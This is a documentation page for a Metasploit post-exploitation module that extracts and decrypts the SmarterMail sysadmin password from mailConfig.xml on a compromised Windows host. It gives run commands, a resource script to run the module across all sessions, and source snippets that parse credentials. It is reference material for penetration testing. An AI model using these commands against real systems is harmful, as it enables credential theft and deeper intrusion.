Windows Gather SmarterMail Password Extraction - Metasploit


This page contains detailed information about how to use the post/windows/gather/credentials/smartermail metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: Windows Gather SmarterMail Password Extraction
Module: post/windows/gather/credentials/smartermail
Source code: modules/post/windows/gather/credentials/smartermail.rb
Disclosure date: -
Last modification time: 2021-02-19 20:35:33 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module extracts and decrypts the sysadmin password in the SmarterMail 'mailConfig.xml' configuration file. The encryption key and IV are publicly known. This module has been tested successfully on SmarterMail versions 10.7.4842 and 11.7.5136.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/gather/credentials/smartermail

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/gather/credentials/smartermail
msf post(smartermail) > show options
    ... show and set options ...
msf post(smartermail) > set SESSION session-id
msf post(smartermail) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/gather/credentials/smartermail")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.

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Msfconsole Usage

Here is how the windows/gather/credentials/smartermail post exploitation module looks in the msfconsole:

msf6 > use post/windows/gather/credentials/smartermail

msf6 post(windows/gather/credentials/smartermail) > show info

       Name: Windows Gather SmarterMail Password Extraction
     Module: post/windows/gather/credentials/smartermail
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  Joe Giron
  bcoles <[email protected]>
  sinn3r <[email protected]>

Compatible session types:
  Meterpreter
  Shell

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Description:
  This module extracts and decrypts the sysadmin password in the 
  SmarterMail 'mailConfig.xml' configuration file. The encryption key 
  and IV are publicly known. This module has been tested successfully 
  on SmarterMail versions 10.7.4842 and 11.7.5136.

References:
  http://www.gironsec.com/blog/tag/cracking-smartermail/

Module Options

This is a complete list of options available in the windows/gather/credentials/smartermail post exploitation module:

msf6 post(windows/gather/credentials/smartermail) > show options

Module options (post/windows/gather/credentials/smartermail):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Advanced Options

Here is a complete list of advanced options supported by the windows/gather/credentials/smartermail post exploitation module:

msf6 post(windows/gather/credentials/smartermail) > show advanced

Module advanced options (post/windows/gather/credentials/smartermail):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the windows/gather/credentials/smartermail module can do:

msf6 post(windows/gather/credentials/smartermail) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the windows/gather/credentials/smartermail post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/gather/credentials/smartermail) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Unable to parse BoundPort

Here is a relevant code snippet related to the "Unable to parse BoundPort" error message:

52:	    port = nil
53:	
54:	    begin
55:	      port = JSON.parse(data)['BoundPort']
56:	    rescue JSON::ParserError => e
57:	      elog('Unable to parse BoundPort', error: e)
58:	      return nil
59:	    end
60:	
61:	    port
62:	  end

<PEER> - Failed to download <PATH> - <E.TO_S>

Here is a relevant code snippet related to the "<PEER> - Failed to download <PATH> - <E.TO_S>" error message:

107:	
108:	    vprint_status "#{peer} - Retrieving SmarterMail sysadmin password"
109:	    begin
110:	      data = read_file(path)
111:	    rescue Rex::Post::Meterpreter::RequestError => e
112:	      print_error "#{peer} - Failed to download #{path} - #{e.to_s}"
113:	      return result
114:	    end
115:	
116:	    if data.blank?
117:	      print_error "#{peer} - Configuration file is empty."

<PEER> - Configuration file is empty.

Here is a relevant code snippet related to the "<PEER> - Configuration file is empty." error message:

112:	      print_error "#{peer} - Failed to download #{path} - #{e.to_s}"
113:	      return result
114:	    end
115:	
116:	    if data.blank?
117:	      print_error "#{peer} - Configuration file is empty."
118:	      return result
119:	    end
120:	
121:	    username = data.match(/<sysAdminUserName>(.+)<\/sysAdminUserName>/)
122:	    password = data.scan(/<(sysAdminPassword|sysAdminPasswordHash)>(.+)<\/(sysAdminPassword|sysAdminPasswordHash)>/).flatten[1]

<PEER> - Could not find SmarterMail config file

Here is a relevant code snippet related to the "<PEER> - Could not find SmarterMail config file" error message:

174:	  #
175:	  def run
176:	    # check for SmartMail config file
177:	    config_path = get_mail_config_path
178:	    if config_path.blank?
179:	      print_error "#{peer} - Could not find SmarterMail config file"
180:	      return
181:	    end
182:	
183:	    # retrieve username and decrypted password from config file
184:	    result = get_smartermail_creds(config_path)

<PEER> - Could not decrypt password string

Here is a relevant code snippet related to the "<PEER> - Could not decrypt password string" error message:

181:	    end
182:	
183:	    # retrieve username and decrypted password from config file
184:	    result = get_smartermail_creds(config_path)
185:	    if result[:password].nil?
186:	      print_error "#{peer} - Could not decrypt password string"
187:	      return
188:	    end
189:	
190:	    # report result
191:	    port = get_web_server_port || 9998 # Default is 9998

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References

See Also

Check also the following modules related to this module:

Authors

  • Joe Giron
  • bcoles
  • sinn3r

Version

This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.

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